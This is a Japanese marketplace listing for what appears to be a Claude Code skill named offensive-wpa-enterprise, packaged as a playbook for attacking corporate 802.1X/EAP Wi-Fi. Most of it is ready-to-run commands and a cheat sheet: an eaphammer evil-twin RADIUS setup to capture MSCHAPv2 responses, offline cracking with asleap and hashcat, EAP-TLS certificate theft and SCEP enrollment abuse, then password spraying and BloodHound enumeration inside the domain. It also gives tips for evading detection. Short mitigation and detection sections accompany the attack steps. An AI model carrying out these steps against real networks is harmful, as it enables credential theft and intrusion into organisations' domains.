mcpField
O
offensive-wpa-enterprise

offensive-wpa-enterprise

github.com/snailsploitセキュリティ9.7k173 回インストール2 週間前に更新
リポジトリ

offensive-wpa-enterprise について

無線ペネトレーションテスト担当者向けに、WPA-Enterprise(802.1X / EAP)への攻撃を扱うスキルガイドです。EAPの識別、設定上のリスク、認証情報の取得経路、EAP-TLS証明書のリスク、検知の手掛かりをまとめています。

主な機能

  1. 01無線EAP方式の特定
  2. 02不正RADIUSのリスク評価
  3. 03MSCHAPv2応答の取得とオフライン解析
  4. 04証明書とSCEP設定のリスク確認
  5. 05検知シグナルと追加確認の整理

活用シーン

  1. 01企業Wi-Fiの証明書検証設定の監査
  2. 02許可されたテストでのPEAPまたはTTLS評価
  3. 03EAP-TLS証明書の保存と発行経路の確認
  4. 04認証情報攻撃の検知手掛かりの記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-wpa-enterprise

インストール後、Claude Code で/offensive-wpa-enterpriseを入力して読み込まれたか確認します。

詳細

WPA-Enterprise(802.1X / EAP)攻撃

エンタープライズ Wi-Fi では、認証を RADIUS サーバー(通常は AD と連携)に委ねます。PSK は存在しません。代わりに、サーバー証明書に対するサプリカントの信頼、内部 EAP メソッドの暗号、または証明書発行経路を攻撃します。

クイックワークフロー

  1. ビーコンと最初の EAP-Request/Identity から EAP メソッドを特定します
  2. MSCHAPv2 ベース(PEAP、TTLS)の場合:不正な RADIUS を立ててチャレンジレスポンスを取得します
  3. EAP-TLS の場合:証明書発行/証明書保存経路を(帯域外で)狙います
  4. 取得した MSCHAPv2 をオフラインで解読し、AD のユーザー名とパスワードを取得します
  5. ドメイン内へピボットします(offensive-active-directory と offensive-network を参照)

EAP メソッドの特定

# Watch 802.1X exchange in monitor mode
sudo tshark -i wlan0mon -Y "eapol || eap" -V

# Or capture and analyze
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
# When client associates, read the EAP-Request/Identity and Type fields
wireshark eap_capture-01.cap
EAP タイプ識別子一般的な内部メソッド
13EAP-TLSクライアント証明書 + サーバー証明書
17LEAP(レガシー、脆弱)
21EAP-TTLSMSCHAPv2 / PAP / CHAP / GTC
25PEAPMSCHAPv2(PEAPv0/MS)/ GTC(PEAPv0/Cisco)
43EAP-FASTMSCHAPv2(PAC で保護)
47EAP-PWD(Dragonblood クラスの調査対象)

Evil-Twin RADIUS(PEAP-MSCHAPv2 / TTLS-MSCHAPv2)

企業 Wi-Fi に対する最も一般的な攻撃経路です。

# eaphammer — automated rogue AP + RADIUS
eaphammer --cert-wizard                          # generate self-signed cert (first run)
eaphammer -i wlan0 \
  --essid CorpWiFi \
  --bssid AA:BB:CC:DD:EE:FF \
  --auth wpa-eap \
  --creds

クライアントが接続すると、eaphammer は次のようにログを記録します。

[*] User: corp.local\jdoe
[*] Challenge: 1122334455667788
[*] Response: aabbccdd...

オフラインで解読します。

# asleap — designed for MSCHAPv2 challenge/response
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt

# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

取得したレスポンスは NetNTLMv1 と同等です。レインボーテーブルサービス(crack.sh)に渡せば、適度なコストで確実に解読できます。

Evil-Twin が機能する理由

MSCHAPv2 の内部通信は、サプリカントと(本物または偽の)RADIUS サーバー間の TLS トンネル内で暗号化されます。サプリカントが次の項目を検証しない場合:

  • RADIUS サーバー証明書の CA チェーン(多くの BYOD 設定で未検証)
  • RADIUS サーバー証明書の CN / SAN(CA 検証が有効でも、検証されないことがよくあります)

自己署名証明書が受け入れられ、攻撃者との間にトンネルが確立され、その内部で MSCHAPv2 が実行されます。

防御側が実施すべき緩和策:

  • サーバー証明書の検証を必須にする GPO を適用します
  • 信頼する CA と RADIUS サーバーの CN を明示的にピン留めします
  • BYOD では、サプリカント設定を固定する SCEP/Intune 経由で登録します

サプリカントの検証を回避する方法

Windows
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...

導入済みのワイヤレスプロファイル XML を確認します。重要なフィールドは次のとおりです。

<ServerValidation>
  <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
  <ServerNames>radius.corp.local</ServerNames>
  <TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>

ServerNames がない場合やワイルドカードが指定されている場合、evil-twin は成功します。

iOS / macOS / Android(BYOD)

手動入力の場合、ユーザーは初回に証明書のプロンプトで通常「信頼」をクリックします。これには evil twin の証明書も含まれます。その後、サプリカントはハッシュによって攻撃者の証明書を信頼します。多くの BYOD ネットワークは、信頼アンカーを管理せずにこの承認に依存しています。

EAP-TLS の標的

EAP-TLS ではパスワードの代わりにクライアント証明書を使うため、通信から解読できるものはありません。攻撃ベクトルは次のとおりです。

ユーザープロファイルからの証明書窃取
  • Windows の DPAPI マスターキーと証明書 blob
    • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
    • DPAPI マスターキーで復号します(ユーザーのログオンコンテキストまたはマスターキーが必要です)
  • macOS Keychain(ログインキーチェーン)— ローカルユーザーアクセス
  • Android KeyStore — root + Frida フック(offensive-mobile を参照)
  • iOS — 適切なアクセスグループのエンタイトルメントを持つ Keychain 項目
NDES / SCEP の設定ミス

ネットワークが証明書のプロビジョニングに SCEP を使用している場合:

# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll

# Enroll with stolen / weak challenge password
sscep enroll -c ca.crt -k client.key -r request.csr \
  -u http://ndes.corp.local/certsrv/mscep/mscep.dll \
  -l client.crt -E 3des -S sha1
許容的な ACL による AD CS 自動登録

Enroll 権限を持つドメインユーザーは、クライアント認証テンプレートで独自の証明書を発行できます。ESC1 クラスの攻撃については offensive-active-directory を参照してください。

EAP-GTC

GTC が提供される場合(まれですが、Cisco 環境ではよくあります)、内部通信は平文です。evil-twin が成功すると、オフライン解読を必要とせず、パスワードを直接取得できます。eaphammer は MSCHAPv2 と同じ方法で GTC を取得します。

解読後のピボット

MSCHAPv2 を解読すると、corp.local\jdoe : Password123! が得られます。そこから:

# Validate against AD
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local

# Spray against other systems
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local

# Initial AD enum
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All

AD 攻撃チェーン(offensive-active-directory、offensive-network)に引き継ぎます。

検知に関する考慮事項

シグナル防御側の見解
不正な RADIUS サーバーの ESSIDWIPS ルール:ESSID/BSSID の差分による AP のなりすまし
MSCHAPv2 認証の失敗が繰り返されるRADIUS ログ:1 つのサプリカントからの認証失敗が増加
証明書の不一致による失敗最新の Windows エンドポイントではイベント ビューアーに記録されます(Wi-Fi 11005)
ユーザーからの苦情ユーザーが「見慣れない Wi-Fi のプロンプト」について報告する場合がありますが、ほとんどの場合、報告されません

リスクを最小限に抑えるには、正規の AP の BSSID と完全に一致させ(MAC アドレスを偽装)、可能であれば実際の RADIUS CN に似せた CA 署名付き証明書を使用し、既知の通信障害が発生しやすい時間帯(昼休み/始業時)に攻撃を実施して、再接続に紛れ込ませます。

エンゲージメント用チートシート

# 1. Identify EAP method
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"

# 2. Run eaphammer evil twin
eaphammer --cert-wizard
eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds

# 3. As clients connect, capture MSCHAPv2 challenges
# Watch eaphammer console for User/Challenge/Response

# 4. Crack offline
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Or asleap -C <chal> -R <resp> -W wordlist

# 5. Validate creds against domain
nxc smb <dc> -u <user> -p <pass> -d <domain>

# 6. Hand off to AD chain

主な参考資料

コメント